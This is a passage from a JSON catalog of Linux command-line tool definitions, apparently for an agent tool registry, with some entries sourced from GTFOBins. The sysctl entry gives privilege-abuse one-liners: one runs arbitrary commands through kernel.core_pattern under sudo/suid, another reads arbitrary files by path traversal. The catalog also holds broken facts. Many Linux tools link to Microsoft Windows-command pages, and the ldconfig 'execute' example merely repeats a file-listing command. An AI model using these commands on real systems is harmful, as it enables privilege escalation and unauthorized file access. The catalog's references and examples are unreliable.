        "url": "https://man7.org/linux/man-pages/man1/dmesg.1.html"
      }
    ],
    "related_tools": [
      "journalctl",
      "less"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "kernel-log",
        "file-content"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sysctl\n\nsysctl is a command-line utility. Configure kernel parameters at runtime; can also execute arbitrary commands, read arbitrary files.\n",
    "_source": "sysctl.md",
    "allowed-tools": [
      "sysctl"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configure kernel parameters at runtime; can read and write files.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo, suid)",
        "command": "sysctl 'kernel.core_pattern=|/path/to/command'"
      },
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "sysctl -n \"/../../path/to/input-file\""
      }
    ],
    "execution": {
      "template": "sysctl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-kernel-sysctl",
    "install": [
      {
        "method": "apt",
        "package_name": "procps",
        "commands": [
          "apt-get install -y procps"
        ]
      }
    ],
    "name": "sysctl",
    "namespace": "system:kernel:sysctl",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sysctl/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "ldconfig.md",
    "allowed-tools": [
      "ldconfig",
      "ld.so",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configure dynamic linker run-time bindings, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via ldconfig",
        "command": "ldconfig -p /path/to/file"
      },
      {
        "description": "Execute command via ldconfig",
        "command": "ldconfig -p /path/to/file"
      }
    ],
    "execution": {
      "template": "ldconfig -p /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-library-ldconfig",
    "install": [
      {
        "method": "apt",
        "package_name": "libc-bin",
        "commands": [
          "apt-get install -y libc-bin"
        ]
      }
    ],
    "name": "ldconfig",
    "namespace": "system:library:ldconfig",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ldconfig/"
      }
    ],
    "related_tools": [
      "ld.so"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ld.so.md",
    "allowed-tools": [
      "ld.so",
      "ldconfig",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Dynamic linker/loader, can execute arbitrary shared objects.",
    "examples": [
      {
        "description": "Execute command via ld.so",
        "command": "ld.so /path/to/binary"
      }
    ],
    "execution": {
      "template": "ld.so /path/to/binary",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-library-ldso",
    "install": [
      {
        "method": "apt",
        "package_name": "libc-bin",
        "commands": [
          "apt-get install -y libc-bin"
        ]
      }
    ],
    "name": "ld.so",
    "namespace": "system:library:ldso",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ld.so/"
      }
    ],
    "related_tools": [
      "ldconfig",
      "gcc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lastlog.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Reports the most recent login of all users or a given user.",
    "examples": [
      {
        "description": "Display help for lastlog",
        "command": "lastlog --help"
      }
    ],
    "execution": {
      "template": "lastlog --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lastlog",
    "mitre_ids": [],
    "name": "lastlog",
    "namespace": "system:linux:auth",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lastlog Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lastlog"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "xclip.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "CLI interface to the X11 clipboard.",
    "examples": [
      {
        "description": "Display help for xclip",
        "command": "xclip --help"
      }
    ],
    "execution": {
      "template": "xclip --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-xclip",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y xclip"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "xclip",
    "namespace": "system:linux:clipboard",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "xclip Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xclip"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "locale.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Displays locale-related environment variables and settings.",
    "examples": [
      {
        "description": "Display help for locale",
        "command": "locale --help"
      }
    ],
    "execution": {
      "template": "locale --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-locale",
    "mitre_ids": [],
    "name": "locale",
    "namespace": "system:linux:config",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "locale Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/locale"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lscpu.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Displays CPU architecture information like cores, threads, model, and flags.",
    "examples": [
      {
        "description": "Display help for lscpu",
        "command": "lscpu --help"
      }
    ],
    "execution": {
      "template": "lscpu --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lscpu",
    "mitre_ids": [],
    "name": "lscpu",
    "namespace": "system:linux:cpu",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lscpu Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lscpu"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "nproc.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Prints the number of processing units available.",
    "examples": [
      {
        "description": "Display help for nproc",
        "command": "nproc --help"
      }
    ],
    "execution": {
      "template": "nproc --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-nproc",
    "mitre_ids": [],
    "name": "nproc",
    "namespace": "system:linux:cpu",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "nproc Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nproc"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "eject.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Ejects removable media (CD-ROM, USB, etc.) from the system.",
    "examples": [
      {
        "description": "Display help for eject",
        "command": "eject --help"
      }
    ],
    "execution": {
      "template": "eject --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-eject",
    "mitre_ids": [],
    "name": "eject",
    "namespace": "system:linux:device",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "eject Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/eject"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "blkid.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Locates/prints block device attributes like UUID and filesystem type.",
    "examples": [
      {
        "description": "Display help for blkid",
        "command": "blkid --help"
      }
    ],
    "execution": {
      "template": "blkid --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-blkid",
    "mitre_ids": [],
    "name": "blkid",
    "namespace": "system:linux:disk",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "blkid Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/blkid"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lsblk.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists block devices (disks and partitions) in a tree-like format.",
    "examples": [
      {
        "description": "Display help for lsblk",
        "command": "lsblk --help"
      }
    ],
    "execution": {
      "template": "lsblk --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lsblk",
    "mitre_ids": [],
    "name": "lsblk",
    "namespace": "system:linux:disk",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lsblk Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lsblk"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lsattr.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists file attributes on ext2/ext3/ext4 filesystems.",
    "examples": [
      {
        "description": "Display help for lsattr",
        "command": "lsattr --help"
      }
    ],
    "execution": {
      "template": "lsattr --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lsattr",
    "mitre_ids": [],
    "name": "lsattr",
    "namespace": "system:linux:file",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lsattr Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lsattr"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "readlink.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Displays the target of a symbolic link.",
    "examples": [
      {
        "description": "Display help for readlink",
        "command": "readlink --help"
      }
    ],
    "execution": {
      "template": "readlink --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-readlink",
    "mitre_ids": [],
    "name": "readlink",
    "namespace": "system:linux:file",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "readlink Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/readlink"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "findmnt.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists all currently mounted filesystems in a tree format.",
    "examples": [
      {
        "description": "Display help for findmnt",
        "command": "findmnt --help"
      }
    ],
    "execution": {
      "template": "findmnt --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-findmnt",
    "mitre_ids": [],
    "name": "findmnt",
    "namespace": "system:linux:filesystem",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "findmnt Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/findmnt"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "mountpoint.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Checks if a directory is a mount point.",
    "examples": [
      {
        "description": "Display help for mountpoint",
        "command": "mountpoint --help"
      }
    ],
    "execution": {
      "template": "mountpoint --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-mountpoint",
    "mitre_ids": [],
    "name": "mountpoint",
    "namespace": "system:linux:filesystem",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "mountpoint Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mountpoint"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "uname.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Prints system information like kernel name, hostname, OS, and architecture.",
    "examples": [
      {
        "description": "Display help for uname",
        "command": "uname --help"
      }
    ],
    "execution": {
      "template": "uname --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-uname",
    "mitre_ids": [],
    "name": "uname",
    "namespace": "system:linux:info",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "uname Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/uname"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "uptime.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Shows how long the system has been running, user count, and load averages.",
    "examples": [
      {
        "description": "Display help for uptime",
        "command": "uptime --help"
      }
    ],
    "execution": {
      "template": "uptime --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-uptime",
    "mitre_ids": [],
    "name": "uptime",
    "namespace": "system:linux:info",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "uptime Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/uptime"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "depmod.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Generates modules.dep and map files for kernel modules.",
    "examples": [
      {
        "description": "Display help for depmod",
        "command": "depmod --help"
      }
    ],
    "execution": {
      "template": "depmod --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-depmod",
    "mitre_ids": [],
    "name": "depmod",
    "namespace": "system:linux:kernel",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "depmod Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/depmod"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lsmod.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists loaded kernel modules.",
    "examples": [
      {
        "description": "Display help for lsmod",
        "command": "lsmod --help"
      }
    ],
    "execution": {
      "template": "lsmod --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lsmod",
    "mitre_ids": [],
    "name": "lsmod",
    "namespace": "system:linux:kernel",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lsmod Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lsmod"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "modinfo.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Displays information about a kernel module.",
    "examples": [
      {
        "description": "Display help for modinfo",
        "command": "modinfo --help"
      }
    ],
    "execution": {
      "template": "modinfo --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-modinfo",
    "mitre_ids": [],
    "name": "modinfo",
    "namespace": "system:linux:kernel",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "modinfo Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/modinfo"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "modprobe.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Adds or removes kernel modules from the Linux kernel.",
    "examples": [
      {
        "description": "Display help for modprobe",
        "command": "modprobe --help"
      }
    ],
    "execution": {
      "template": "modprobe --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-modprobe",
    "mitre_ids": [],
    "name": "modprobe",
    "namespace": "system:linux:kernel",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "modprobe Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/modprobe"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "htop.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Interactive process viewer and manager.",
    "examples": [
      {
        "description": "Interactive process viewer",
        "command": "htop"
      }
    ],
    "execution": {
      "template": "htop",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-htop",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y htop"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "htop",
    "namespace": "system:linux:monitor",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "htop Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/htop"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "iostat.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Reports CPU and I/O statistics for devices and partitions.",
    "examples": [
      {
        "description": "Display help for iostat",
        "command": "iostat --help"
      }
    ],
    "execution": {
      "template": "iostat --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-iostat",
    "mitre_ids": [],
    "name": "iostat",
    "namespace": "system:linux:monitor",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "iostat Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/iostat"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "vmstat.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Reports virtual memory statistics, processes, CPU, and I/O activity.",
    "examples": [
      {
        "description": "Display help for vmstat",
        "command": "vmstat --help"
      }
    ],
    "execution": {
      "template": "vmstat --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-vmstat",
    "mitre_ids": [],
    "name": "vmstat",
    "namespace": "system:linux:monitor",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "vmstat Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vmstat"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lspci.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists all PCI devices connected to the system.",
    "examples": [
      {
        "description": "Display help for lspci",
        "command": "lspci --help"
      }
    ],
    "execution": {
      "template": "lspci --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lspci",
    "mitre_ids": [],
    "name": "lspci",
    "namespace": "system:linux:pci",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lspci Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lspci"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "getfacl.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Gets file access control lists (ACLs).",
    "examples": [
      {
        "description": "Display help for getfacl",
        "command": "getfacl --help"
      }
    ],
    "execution": {
      "template": "getfacl --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-getfacl",
    "mitre_ids": [],
    "name": "getfacl",
    "namespace": "system:linux:permissions",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "getfacl Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/getfacl"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "fuser.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Identifies processes using files or sockets.",
    "examples": [
      {
        "description": "Display help for fuser",
        "command": "fuser --help"
      }
    ],
    "execution": {
      "template": "fuser --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-fuser",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y psmisc"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "fuser",
    "namespace": "system:linux:process",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "fuser Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fuser"
      },
      {
        "label": "fuser manual",
        "url": "https://man7.org/linux/man-pages/man1/fuser.1.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lsof.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists open files and the processes that opened them.",
    "examples": [
      {
        "description": "List open files",
        "command": "lsof"
      }
    ],
    "execution": {
      "template": "lsof",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lsof",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y lsof"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "lsof",
    "namespace": "system:linux:process",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "lsof Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lsof"
      },
      {
        "label": "lsof manual",
        "url": "https://man7.org/linux/man-pages/man1/lsof.1.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "strace.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "System call tracer for Linux.",
    "examples": [
      {
        "description": "Display help for strace",
        "command": "strace --help"
      }
    ],
    "execution": {
      "template": "strace --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-strace",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y strace"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "strace",
    "namespace": "system:linux:trace",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "strace Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/strace"
      },
      {
        "label": "strace manual",
        "url": "https://man7.org/linux/man-pages/man1/strace.1.html"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lsusb.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Lists USB buses and connected USB devices.",
    "examples": [
      {
        "description": "Display help for lsusb",
        "command": "lsusb --help"
      }
    ],
    "execution": {
      "template": "lsusb --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-lsusb",
    "mitre_ids": [],
    "name": "lsusb",
    "namespace": "system:linux:usb",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "lsusb Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lsusb"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "useradd.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Creates a new user account with home directory, shell, and groups.",
    "examples": [
      {
        "description": "Display help for useradd",
        "command": "useradd --help"
      }
    ],
    "execution": {
      "template": "useradd --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-useradd",
    "mitre_ids": [],
    "name": "useradd",
    "namespace": "system:linux:user",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "useradd Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/useradd"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "who.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Displays who is logged in and their session details.",
    "examples": [
      {
        "description": "Display help for who",
        "command": "who --help"
      }
    ],
    "execution": {
      "template": "who --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-who",
    "mitre_ids": [],
    "name": "who",
    "namespace": "system:linux:user",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "who Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/who"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# eb\n\neb is a command-line utility. AWS Elastic Beanstalk CLI log viewer Can leverage capabilities from: journalctl.\n",
    "_source": "eb.md",
    "allowed-tools": [
      "eb"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "AWS Elastic Beanstalk CLI for managing environments; can read logs via journalctl.",
    "examples": [
      {
        "description": "Leverage journalctl capabilities",
        "command": "eb logs"
      }
    ],
    "execution": {
      "template": "eb",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-log-eb",
    "install": [
      {
        "method": "apt",
        "package_name": "awsebcli",
        "commands": [
          "apt-get install -y awsebcli"
        ]
      }
    ],
    "name": "eb",
    "namespace": "system:log:eb",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/eb/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "logsave.md",
    "allowed-tools": [
      "logsave",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Save log output to files, can read and write files.",
    "examples": [
      {
        "description": "Read a file via logsave",
        "command": "logsave /path/to/output /path/to/input"
      }
    ],
    "execution": {
      "template": "logsave /path/to/output /path/to/input",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-log-logsave",
    "install": [
      {
        "method": "apt",
        "package_name": "e2fsprogs",
        "commands": [
          "apt-get install -y e2fsprogs"
        ]
      }
    ],
